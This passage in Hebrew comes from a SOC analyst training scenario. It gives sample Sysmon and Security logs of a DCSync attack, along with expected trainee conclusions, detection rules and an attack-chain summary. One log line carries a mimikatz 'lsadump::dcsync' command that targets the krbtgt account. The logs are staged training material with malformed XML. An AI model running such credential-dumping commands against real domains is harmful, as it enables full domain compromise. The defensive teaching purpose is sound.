ולאחר שראינו שהמשתמש הוא domain admin השלב הבא הוא למצוא את ה- dcsync

שהוא ביצע והקיץ את החוק דרך הרצת הכלי

```
<Event>
<System>
</Provider Name="Microsoft-Windows-Sysmon"
<EventID> 1 </EventID>
</TimeCreated SystemTime="2025-01-14T13:15:12.000Z"
<EventRecordID> 304622 </EventRecordID>
<Channel> Microsoft-Windows-Sysmon/Operational </Channel>
<Computer> NAHAR_TOVEA_DC.hoshen.global </Computer>
<System/>
<EventData>
<Data Name="UtcTime"> 2025-01-14 13:15:12.000 </Data>
<Data Name="ProcessGuid"> {CD017C14-A402-4E33-A79F-57DFA9284114} </Data>
<Data Name="ProcessId"> 8519 </Data>
<Data Name="Image"> C:\ProgramData\Microsoft\mimikatz.exe </Data>
<Data Name="CommandLine"> mimikatz.exe "lsadump::dcsync /domain:HOSHEN.GLOBAL /user:krbtgt" exit </Data>
<Data Name="User"> HOSHEN\eliyanko </Data>
<Data Name="ParentProcessGuid"> {D111BC4E-6E47-477D-8567-EB2E27E883D8} </Data>
<Data Name="ParentProcessId"> 1511 </Data>
<Data Name="ParentImage"> C:\Windows\System32\cmd.exe </Data>
<EventData/>
<Event/>
```

```

<Event>
<System>
</Provider Name="Microsoft-Windows-Security-Auditing">
<EventID>4662</EventID>
</TimeCreated SystemTime="2025-01-14T13:15:10.000Z">
<EventRecordID>811896</EventRecordID>
<Channel>Security</Channel>
<Computer>NAHAR_TOVEA_DC.hoshen.global</Computer>
<System/>
<EventData>
<Data Name="SubjectUserName">eliyanko</Data>
<Data Name="SubjectDomainName">HOSHEN</Data>
<Data Name="ObjectName">CN=krbtgt,CN=Users,DC=hoshen,DC=global</Data>
<Data Name="ObjectType">Directory</Data>
<Data Name="AccessMask">0x100</Data>
<Data Name="Properties">DS-Replication-Get-Changes-All</Data>
<EventData/>
</Event/>

```

4. מסקנות שהחניך אמור להגיע אליהן

זיהוי Lateral Movement ללא סיסמאות: החניך צריך להבין שבתקיפת Kerberos כמו (Silver Ticket), אין אירוע Logon רגיל ב DC - הוא מצופה להסביר למה הוא רואה "Logon" משום מקום" בשרת ה SQL ולחבר את זה למפתח שנגנב בשלב ה -Kerberoasting.

הבנת שרשרת ההורשה (Process Parentage): החניך חייב להסיק ש - sqlservr.exe שמריץ cmd.exe הוא אנומליה קריטית המעידה על שימוש ב -xp_cmdshell עליו להבין את הסיכון של הרשאות שירות (Service Accounts) שהופכות לגישה למערכת ההפעלה.

זיהוי טכניקות רכיבה (Hijacking): החניך צריך להבין שהתוקף לא יצר משימה מתוזמנת חדשה שקופצת - EDR אלא שינה תוכן של משימה קיימת. המסקנה היא שצריך לנטר כתיבה לקבצי סקריפט (.bat, .ps1) ולא רק יצירת משימות חדשות.

הצלבת זהויות (Identity Correlation): החניך מצופה להסביר איך eliyanko (משתמש רגיל) הפך ל CoolAdmin, הוא צריך לעשות את הקישור הלוגי בין הרגע שבו הקובץ נערך בשרת ה SQL לרגע שבו נפתח Shell חדש בזרות גבוהה.

הבנת ה -DCSync וסכנת ה Persistence: החניך צריך להבין שברגע שהתבצע DCSync, החלפת סיסמה למשתמש eliyanko לא תעזור. עליו להסביר מהו חשבון ה - KRBGT ולמה גניבת ה Hash שלו היא "סוף המשחק" עבור הארגון.

עבודה עם Non-Domain Assets: החניך צריך להבין שתוקף לא חייב להיות בתוך הדומיין כדי לתקוף אותו. הוא צריך לדעת לנתח לוגים של RPC/WMI שמגיעים מכתובות IP זרות ולהתייחס אליהן כנקודת הכניסה - (Entry Point)

5. חוקים שהיו אמורים לקפוץ אם זה היה קורה אצלנו

Suspicious process created

Service Modifications

Suspicious Ticket Request detected

Local/Domain Security Group Changes

6. סיכום

תרחיש זה מציג התקפה ברמה גבוהה המדמה שרשרת תקיפה רוחבית (Lateral Movement) מתקדמת:

Remote Pivot שימוש ב WMI-להרצת קוד מרחוק ללא קבצים על הדיסק-In Memory).

Identity Abuse ניצול פרוטוקול Kerberos באמצעות Kerberoasting וזיוף כרטיסי שירות. (Silver Ticket).

Database to OS פריצה ממנוע ה DB-למערכת ההפעלה דרך Abuse של מנגנון xp_cmdshell.

Privilege Escalation הסלמת הרשאות שקטה באמצעות Hijacking של משימות מתוזמנות (Scheduled Tasks) קיימות.

Domain Takeover השתלטות סופית על בסיס הנתונים של ה AD-באמצעות מתקפת DCSync.

הלוגים שנאספו (Sysmon, Security, SQL) אמיתיים, עקביים וריאליסטיים לכלי התחקור המודרניים.

זהו תרחיש מלא המיועד לחוקרים מתקדמים SOC Analysts ו Detection Engineers- הדורש יכולת הצלבת אירועים (Correlation) בין נכסים שונים בדומיין והבנה עמוקה של מנגנוני אימות זהות.